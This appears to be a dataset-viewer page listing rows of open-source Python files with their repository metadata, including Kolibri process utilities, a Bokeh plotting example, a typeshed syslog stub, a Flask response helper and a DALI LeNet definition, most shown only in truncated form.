class RoutePolicyOutput(object):
showRplRoutePolicy = {'NO-EXPORT':
{'description': 'test15',
'statements':
{10:
{'actions':
... |
e151f2e12925d3600374d2cf0fa97780e7221baa | df87814cb32990ad8c27d0b13a821aabce012819 | /kolibri/utils/pskolibri/_pslinux.py | 0e328942d96fef56ebc317029aebe6196f2226da | [
"MIT"
] | permissive | learningequality/kolibri | 26812d4ae771f3b389d3317a586bc032fc84866b | cc9da2a6acd139acac3cd71c4cb05c15d4465712 | refs/heads/release-v0.16.x | 2023-09-01T18:07:29.720772 | 2023-08-31T15:43:47 | 2023-08-31T15:43:47 | 49,976,939 | 689 | 682 | MIT | 2023-09-14T20:02:29 | 2016-01-19T19:22:07 | Python | UTF-8 | Python | false | false | 10,293 | py | _pslinux.py | """Linux platform implementation."""
from __future__ import absolute_import
from __future__ import division
import errno
import functools
import os
import re
import sys
from collections import namedtuple
from kolibri.utils.pskolibri.common import AccessDenied
from kolibri.utils.pskolibri.common import b
from kolibri.... |
39491ca36706604b130735169f6e384f441266c3 | 5105403f2b75990654519438d8ceabcf80962ebf | /examples/topics/hierarchical/crosstab.py | a9b5c9ea94b404bb5ee90b53237839d0dce3e921 | [
"BSD-3-Clause"
] | permissive | bokeh/bokeh | ed1d81eb07d27d27c6710c9fec9114886047f528 | 310cb2cbeabc4c4b8180cbda566df16039737cdc | refs/heads/branch-3.3 | 2023-08-31T23:53:06.537061 | 2023-08-30T03:43:05 | 2023-08-30T03:43:05 | 3,834,332 | 17,174 | 5,251 | BSD-3-Clause | 2023-09-14T11:37:23 | 2012-03-26T15:40:01 | Python | UTF-8 | Python | false | false | 2,098 | py | crosstab.py | ''' An adjacent bar plot of Pandas crosstab data.
.. bokeh-example-metadata::
:sampledata: sample_superstore
:apis: bokeh.plotting.figure.hbar, bokeh.models.sources.ColumnDataSource
:refs: :ref:`ug_topics_hierarchical_crosstab`
:keywords: hierarchical, crosstab
'''
import pandas as pd
from bokeh.core... |
e74a29234ec4c5b900eb06217926843e04ee1183 | eb9f655206c43c12b497c667ba56a0d358b6bc3a | /python/helpers/typeshed/stdlib/syslog.pyi | cfa8df887c1b413c1c3bf5ad384179b6e3bca828 | [
"MIT",
"Apache-2.0"
] | permissive | JetBrains/intellij-community | 2ed226e200ecc17c037dcddd4a006de56cd43941 | 05dbd4575d01a213f3f4d69aa4968473f2536142 | refs/heads/master | 2023-09-03T17:06:37.560889 | 2023-09-03T11:51:00 | 2023-09-03T12:12:27 | 2,489,216 | 16,288 | 6,635 | Apache-2.0 | 2023-09-12T07:41:58 | 2011-09-30T13:33:05 | null | UTF-8 | Python | false | false | 1,357 | pyi | syslog.pyi | import sys
from typing import overload
from typing_extensions import Literal
if sys.platform != "win32":
LOG_ALERT: Literal[1]
LOG_AUTH: Literal[32]
LOG_AUTHPRIV: Literal[80]
LOG_CONS: Literal[2]
LOG_CRIT: Literal[2]
LOG_CRON: Literal[72]
LOG_DAEMON: Literal[24]
LOG_DEBUG: Literal[7]
... |
7a19a3dbe28dac8c9481a4f3e9c27b19512770e5 | f2e07495a5792290008ca6190650860a77d666de | /handcalcs/global_config.py | 7de335bf528311aef1655a2175eca1bcce7c8c79 | [
"Apache-2.0"
] | permissive | connorferster/handcalcs | 9c9a644117ceb42f5dadd47e7d60d30a2353b6a0 | 56d36d2c0e51a7f0c482e991c124e50fb578cacb | refs/heads/main | 2023-09-04T12:33:01.144692 | 2022-12-27T18:49:10 | 2022-12-27T18:49:10 | 241,504,436 | 5,413 | 457 | Apache-2.0 | 2022-12-27T18:47:11 | 2020-02-19T01:18:42 | CSS | UTF-8 | Python | false | false | 2,405 | py | global_config.py | # Copyright 2020 Connor Ferster
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
# http://www.apache.org/licenses/LICENSE-2.0
# Unless required by applicable law or agre... |
3d5dd9de735d71d2ca724eb2c7f4c7bef321d5ec | 085cf6512c946d615eda58a3a0d353c0aa1db8cf | /deepfence_backend/utils/response.py | 5ca439c921da09bbc11960fbdc97efa2b7474b6a | [
"Apache-2.0"
] | permissive | deepfence/ThreatMapper | 00c38c65ed2f014004c9818f03d5e129496b4dd8 | 748b0c8782507eaf351625b9c9fad46903ad6237 | refs/heads/main | 2023-08-31T11:13:53.813651 | 2023-03-02T00:49:57 | 2023-03-02T00:49:57 | 238,662,977 | 4,540 | 481 | Apache-2.0 | 2023-09-14T13:24:37 | 2020-02-06T10:30:09 | TypeScript | UTF-8 | Python | false | false | 521 | py | response.py | from flask import jsonify
def set_response(data=None, error=None, status=200, headers=None):
response = format_response(data=data, error=error, status=status)
if headers:
return jsonify(response), status, headers
return jsonify(response), status
def format_response(data=None, error=None, status... |
cabc2f3bdbb368486ca3bd279137795b109117be | c618bbf2719431999b1007461df0865bab60c883 | /docs/examples/use_cases/mxnet/resnetn/symbols/lenet.py | f2cc106f60acbc9e9fc3491db0355ad9889a826e | [
"Apache-2.0"
] | permissive | NVIDIA/DALI | 3d0d061135d19e092647e6522046b2ff23d4ef03 | 92ebbe5c20e460050abd985acb590e6c27199517 | refs/heads/main | 2023-09-04T01:53:59.033608 | 2023-09-01T13:45:03 | 2023-09-01T13:45:03 | 135,768,037 | 4,851 | 648 | Apache-2.0 | 2023-09-12T18:00:22 | 2018-06-01T22:18:01 | C++ | UTF-8 | Python | false | false | 2,957 | py | lenet.py | # Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not u... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.